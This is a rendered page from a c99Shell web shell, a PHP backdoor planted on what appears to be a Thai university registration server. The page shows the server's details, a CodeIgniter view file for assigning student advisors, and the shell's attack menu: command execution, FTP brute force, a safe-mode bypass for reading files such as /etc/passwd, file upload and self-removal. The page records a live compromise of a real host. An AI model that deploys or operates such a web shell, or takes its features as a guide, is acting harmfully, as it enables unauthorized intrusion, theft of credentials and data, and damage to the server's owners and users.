!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showAdv.php (4.01 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
ini_set
("memory_limit"$this->config->item('rg_memory_limit'));
?>
<table width="100%" align="center">
    <tr>
        <td>
            <div align="center"><table width="100%">
                <tr>
                    <td align="center"><span class="h" style="color:<?php echo $font_color_err;?>">กำหนดอาจารย์ที่ปรึกษา</b></span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><?php echo form_open($this->config->item("rg_folder")."officer/prs_insert_update", array('id' => 'myform''name' => 'myform'));?>
                    <table width="100%" align="center">
                        <tr>
                            <td colspan="4"><span><b>ปีการศึกษา</b></span>
<?php
                            $js 
"id=\"acY\" onChange=\"sendPost('myform', {'acY':this.value}, 'adv_show')\"";
                            echo 
form_dropdown('acY'$rs_tmc$acY$js);
?>
                            </td>
                        </tr>
                        <tr>
                            <td><table class="headCol">
                                <tr>
                                    <th class="seqCol"><span>ลำดับที่</span></th>
                                    <th class="stdCodeCol"><span>รหัสอาจารย์</span></th>
                                    <th><span>ชื่อ-สกุลอาจารย์</span></th>
                                    <th class="groupCol"><span>เพิ่ม/แก้ไข</span></th>
                                </tr>
<?php
                        $num_rows 
count($rs);
                        if (
$num_rows) {
                            foreach (
$rs as $key => $val) {
                                
$row_prs $rs[$key]['qu_prs']->row();

                                if (
$rs[$key]['cntStd']) {
                                    
$image base_url().$this->config->item('rg_edit');
                                    
$lnkCRUD 'U';
                                } else {
                                    
$image base_url().$this->config->item('rg_add_add');
                                    
$lnkCRUD 'C';
                                }
                                echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                                    <td align="center"><span><?php echo $key+1;?></span></td>
                                    <td align="center"><span><?php echo $row_prs->personCode;?></span></td>
                                    <td class="indent"><span class="hand" onClick="sendPost('hidform', {'prsId':<?php echo $row_prs->prsId;?>,'acY':<?php echo $acY;?>}, '<?php echo 'adv_detail';?>', {})"><?php echo $row_prs->prefixName.$row_prs->fName.' '.$row_prs->lName;?></span>
                                    </td>
                                    <td align="center">
<?php
                                    $lnk 
"<span class=\"hand\" onClick=\"sendPost('myform', {'prsId':".getval('prsId'$row_prs).",'acY':".$acY."}, 'adv_input')\"><img src=\"".$image."\" align=\"absmiddle\" border=\"0\" /></span>";
                                    echo 
$lnk;
?>
                                    </td>
                                </tr>
<?php
                            
}
                        } else {
?>
                                <tr>
                                    <td align="center" colspan="4"><span>** ไม่ปรากฎรายการดังกล่าวในฐานข้อมูล **</span></td>
                                </tr>
<?php    
                        
}
?>
                            </table></td>
                        </tr>
                        <tr>
                            <td align="right" colspan="4"><span>รวม<?php echo $num_rows;?> รายการ</span></td>
                        </tr>
                    </table><?php echo form_close();?></td>
                </tr>
            </table></div>
        </td>
    </tr>
    <tr>
        <td><table class="mark">
            <tr>
                <td class="coltd_mark"><span style="color:<?php echo $font_color_err;?>">หมายเหตุ : </span></td>
                <td><img src="<?php echo base_url().$this->config->item('rg_add_add');?>" align="absmiddle" border="0">
                <span style="color:<?php echo $font_color_err;?>">หมายถึง เพิ่มนักศึกษาในที่ปรึกษา</span></td>
            </tr>
            <tr>
                <td height="22"></td>
                <td><img src="<?php echo base_url().$this->config->item('rg_edit');?>" align="absmiddle" border="0">
                <span style="color:<?php echo $font_color_err;?>">หมายถึง แก้ไขนักศึกษาในที่ปรึกษา</span></td>
            </tr>
            <tr>
                <td height="22"></td>
                <td><span style="color:<?php echo $font_color_err;?>">นำเมาส์คลิกที่ชื่ออาจารย์เพื่อดูรายชื่อนักศึกษาในที่ปรึกษา</span></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0051 ]--